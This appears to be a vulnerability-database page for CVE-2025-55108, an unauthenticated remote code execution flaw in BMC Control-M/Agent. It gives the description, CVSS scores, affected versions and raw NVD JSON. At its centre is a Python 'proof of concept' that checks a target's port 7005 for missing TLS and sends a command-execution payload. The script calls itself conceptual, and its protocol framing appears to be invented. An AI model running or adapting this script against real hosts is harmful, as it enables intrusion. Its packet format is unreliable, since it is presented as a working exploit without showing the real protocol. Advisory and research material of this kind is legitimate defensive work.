Security Vulnerability Report
中文
CVE-2025-55108 CVSS 10.0 CRITICAL

CVE-2025-55108

Published: 2025-11-05 09:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Control-M/Agent is vulnerable to unauthenticated remote code execution, arbitrary file read and write and similar unauthorized actions when mutual SSL/TLS authentication is not enabled (i.e. in the default configuration). NOTE:  * The vendor believes that this vulnerability only occurs when documented security best practices are not followed. BMC has always strongly recommended to use security best practices such as configuring SSL/TLS between Control-M Server and Agent. * The vendor notifies that Control-M/Agent is not impacted in Control-M SaaS

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Control-M/Agent 9.0.20.x
Control-M/Agent 9.0.21.x
Control-M/Agent 9.0.22.x
Control-M/Agent 9.0.23.x
Control-M/Agent 9.0.24.x
Control-M/Agent 9.0.25.x
Control-M/Agent 22.x 所有版本
Control-M/Agent 23.x 所有版本
Control-M/Agent 24.x 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55108 PoC - Control-M/Agent Unauthenticated RCE # This is a conceptual proof-of-concept for educational and security research purposes only import socket import ssl import struct import time def create_exploit_payload(cmd): """Generate malicious payload for Control-M Agent""" # Control-M Agent protocol header header = b'CTM' # Protocol identifier version = b'\x01\x00' # Protocol version msg_type = b'\x02\x00' # Execute command type # Payload with malicious command payload = header + version + msg_type payload += struct.pack('>I', len(cmd)) # Command length payload += cmd.encode('utf-8') # Malicious command return payload def check_ssl_enabled(target_ip, target_port=7005): """Check if SSL/TLS authentication is enabled""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Try to create SSL context context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: ssl_sock = context.wrap_socket(sock, server_hostname=target_ip) print(f"[*] SSL/TLS is enabled on {target_ip}:{target_port}") return True except ssl.SSLError: print(f"[!] SSL/TLS is NOT enabled - VULNERABLE!") return False except Exception as e: print(f"[-] Error checking SSL status: {e}") return None def exploit_cve_2025_55108(target_ip, target_port=7005, cmd='whoami'): """Exploit CVE-2025-55108 - Unauthenticated RCE""" print(f"[*] Targeting {target_ip}:{target_port}") # First check if vulnerable (SSL not enabled) if check_ssl_enabled(target_ip, target_port) is not False: print("[-] Target may not be vulnerable (SSL enabled)") return None try: # Create malicious payload payload = create_exploit_payload(cmd) # Send exploit sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload...") sock.send(payload) # Receive response response = sock.recv(4096) print(f"[*] Received response: {response}") sock.close() return response except Exception as e: print(f"[-] Exploitation failed: {e}") return None if __name__ == "__main__": # Example usage target = "192.168.1.100" command = "whoami" print("=" * 60) print("CVE-2025-55108 Control-M/Agent PoC") print("WARNING: For authorized security testing only") print("=" * 60) result = exploit_cve_2025_55108(target, 7005, command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55108", "sourceIdentifier": "[email protected]", "published": "2025-11-05T09:15:32.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Control-M/Agent is vulnerable to unauthenticated remote code execution, arbitrary file read and write and similar unauthorized actions when mutual SSL/TLS authentication is not enabled (i.e. in the default configuration).\n\n\nNOTE: \n\n * The vendor believes that this vulnerability only occurs when documented security best practices are not followed. BMC has always strongly recommended to use security best practices such as configuring SSL/TLS between Control-M Server and Agent.\n\n * The vendor notifies that Control-M/Agent is not impacted in Control-M SaaS"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.5, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000441962", "source": "[email protected]"}, {"url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000442099", "source": "[email protected]"}, {"url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000442271", "source": "[email protected]"}]}}